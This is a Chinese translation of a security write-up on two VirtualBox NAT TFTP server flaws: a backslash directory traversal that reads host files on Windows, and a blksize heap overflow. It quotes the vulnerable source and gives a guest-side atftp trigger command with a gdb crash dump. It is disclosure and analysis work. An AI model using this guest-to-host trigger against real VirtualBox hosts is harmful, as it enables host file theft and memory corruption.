原文地址:https://www.voidsecurity.in/
NAT模式下的VirtualBox(默认配置)在IP地址10.0.2.4
(随意指定)中运行只读TFTP服务器以支持PXE引导。以下利用的两个漏洞无需特权用户的操作触发,也无需安装Guest Additions,在默认配置下即可触发攻击。
TFTP服务器的源代码位于src/VBox/Devices/Network/slirp/tftp.c
,它基于QEMU中所使用的TFTP服务器。
* This code is based on: * * tftp.c - a simple, read-only tftp server for qemu
调用函数tftpSecurityFilenameCheck()
验证guest提供的文件路径,如下所示:
/** * This function evaluate file name. * @param pu8Payload * @param cbPayload * @param cbFileName * @return VINF_SUCCESS - * VERR_INVALID_PARAMETER - */ DECLINLINE(int) tftpSecurityFilenameCheck(PNATState pData, PCTFTPSESSION pcTftpSession) { size_t cbSessionFilename = 0; int rc = VINF_SUCCESS; AssertPtrReturn(pcTftpSession, VERR_INVALID_PARAMETER); cbSessionFilename = RTStrNLen((const char *)pcTftpSession->pszFilename, TFTP_FILENAME_MAX); if ( !RTStrNCmp((const char*)pcTftpSession->pszFilename, "../", 3) || (pcTftpSession->pszFilename[cbSessionFilename - 1] == '/') || RTStrStr((const char *)pcTftpSession->pszFilename, "/../")) rc = VERR_FILE_NOT_FOUND; /* only allow exported prefixes */ if ( RT_SUCCESS(rc) && !tftp_prefix) rc = VERR_INTERNAL_ERROR; LogFlowFuncLeaveRC(rc); return rc; }
此代码也是基于QEMU中的验证(slirp/tftp.c
)
/* do sanity checks on the filename */ if (!strncmp(req_fname, "../", 3) || req_fname[strlen(req_fname) - 1] == '/' || strstr(req_fname, "/../")) { tftp_send_error(spt, 2, "Access violation", tp); return; }
比较有意思的是,在QEMU中上述检查代码一般指定用作于Linux主机。但是,运行在Windows主机上VirtualBox在也依赖于这个相同的验证。由于反斜杠可以在Windows中用作目录分隔符,因此可以绕过在tftpSecurityFilenameCheck()
中的检查,以读取在VirtualBox进程特权下可访问的主机文件。TFTP根文件夹的默认路径是C:\Users\\.VirtualBox\TFTP
,通过合适地构造读取路径可以从主机读取文件。演示视频请访问翻译原文。
在函数tftpSessionOptionParse()
中设置TFTP选项的值
DECLINLINE(int) tftpSessionOptionParse(PTFTPSESSION pTftpSession, PCTFTPIPHDR pcTftpIpHeader) { ... else if (fWithArg) { if (!RTStrICmp("blksize", g_TftpDesc[idxOptionArg].pszName)) { rc = tftpSessionParseAndMarkOption(pszTftpRRQRaw, &pTftpSession->OptionBlkSize); if (pTftpSession->OptionBlkSize.u64Value > UINT16_MAX) rc = VERR_INVALID_PARAMETER; } ...
如果值大于UINT16_MAX
,则检查blksize
选项。然后在tftpReadDataBlock()
中使用值OptionBlkSize.u64Value
来读取文件内容
DECLINLINE(int) tftpReadDataBlock(PNATState pData, PTFTPSESSION pcTftpSession, uint8_t *pu8Data, int *pcbReadData) { RTFILE hSessionFile; int rc = VINF_SUCCESS; uint16_t u16BlkSize = 0; . . . AssertReturn(pcTftpSession->OptionBlkSize.u64Value < UINT16_MAX, VERR_INVALID_PARAMETER); . . . u16BlkSize = (uint16_t)pcTftpSession->OptionBlkSize.u64Value; . . . rc = RTFileRead(hSessionFile, pu8Data, u16BlkSize, &cbRead); . . . }
由于不满足判断pcTftpSession-> OptionBlkSize.u64Value < UINT16_MAX
,在调用RTFileRead()
期间,通过将blksize的值设置为大于MTU,恶意构造的文件内容可以溢出邻近pu8Data
的缓冲区。该漏洞可与目录遍历漏洞结合使用以触发带有受控数据的堆溢出,例如,如果启用了共享文件夹,guest虚拟机可以删除主机中具有任意内容的文件,然后使用目录遍历错误读取该文件。
为了便于调试,我们可以使用VirtualBox for Linux。在主机TFTP根文件夹中创建一个大小为UINT16_MAX
的文件,即~/.config/VirtualBox/TFTP
,然后用一个较大的blksize
值从guest虚拟机中读取该文件。
guest@ubuntu:~$ atftp --trace --verbose --option "blksize 65535" --get -r payload -l payload 10.0.2.4
Thread 30 "NAT" received signal SIGSEGV, Segmentation fault. [Switching to Thread 0x7fff8ccf4700 (LWP 11024)] [----------------------------------registers-----------------------------------] RAX: 0x4141414141414141 ('AAAAAAAA') RBX: 0x7fff8e5f16dc ('A' ...) RCX: 0x1 RDX: 0x4141414141414141 ('AAAAAAAA') RSI: 0x800 RDI: 0x140e730 --> 0x219790326 RBP: 0x7fff8ccf39e0 --> 0x7fff8ccf3a10 --> 0x7fff8ccf3ab0 --> 0x7fff8ccf3bb0 --> 0x7fff8ccf3c90 --> 0x7fff8ccf3cf0 (--> ...) RSP: 0x7fff8ccf39b0 --> 0x7fff8ccf39e0 --> 0x7fff8ccf3a10 --> 0x7fff8ccf3ab0 --> 0x7fff8ccf3bb0 --> 0x7fff8ccf3c90 (--> ...) RIP: 0x7fff9457d8a8 (<slirp_uma_alloc>: mov QWORD PTR [rax+0x20],rdx) R8 : 0x0 R9 : 0x10 R10: 0x41414141 ('AAAA') R11: 0x7fff8e5f1de4 ('A' ...) R12: 0x140e720 --> 0xdead0002 R13: 0x7fff8e5f1704 ('A' ...) R14: 0x140e7b0 --> 0x7fff8e5f16dc ('A' ...) R15: 0x140e730 --> 0x219790326 EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x7fff9457d89f <slirp_uma_alloc>: test rax,rax 0x7fff9457d8a2 <slirp_uma_alloc>: je 0x7fff9457d8b0 <slirp_uma_alloc> 0x7fff9457d8a4 <slirp_uma_alloc>: mov rdx,QWORD PTR [rbx+0x20] => 0x7fff9457d8a8 <slirp_uma_alloc>: mov QWORD PTR [rax+0x20],rdx 0x7fff9457d8ac <slirp_uma_alloc>: mov rax,QWORD PTR [rbx+0x18] 0x7fff9457d8b0 <slirp_uma_alloc>: mov rdx,QWORD PTR [rbx+0x20] 0x7fff9457d8b4 <slirp_uma_alloc>: mov QWORD PTR [rdx],rax 0x7fff9457d8b7 <slirp_uma_alloc>: mov rax,QWORD PTR [r12+0x88] [------------------------------------stack-------------------------------------] 0000| 0x7fff8ccf39b0 --> 0x7fff8ccf39e0 --> 0x7fff8ccf3a10 --> 0x7fff8ccf3ab0 --> 0x7fff8ccf3bb0 --> 0x7fff8ccf3c90 (--> ...) 0008| 0x7fff8ccf39b8 --> 0x140e720 --> 0xdead0002 0016| 0x7fff8ccf39c0 --> 0x7fff8e5eddde --> 0x5b0240201045 0024| 0x7fff8ccf39c8 --> 0x140dac4 --> 0x0 0032| 0x7fff8ccf39d0 --> 0x140e730 --> 0x219790326 0040| 0x7fff8ccf39d8 --> 0x140dac4 --> 0x0 0048| 0x7fff8ccf39e0 --> 0x7fff8ccf3a10 --> 0x7fff8ccf3ab0 --> 0x7fff8ccf3bb0 --> 0x7fff8ccf3c90 --> 0x7fff8ccf3cf0 (--> ...) 0056| 0x7fff8ccf39e8 --> 0x7fff9457df41 (<uma_zalloc_arg>: test rax,rax) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV
可以看到该漏洞被成功触发,调试器抛出了Segmentation fault
。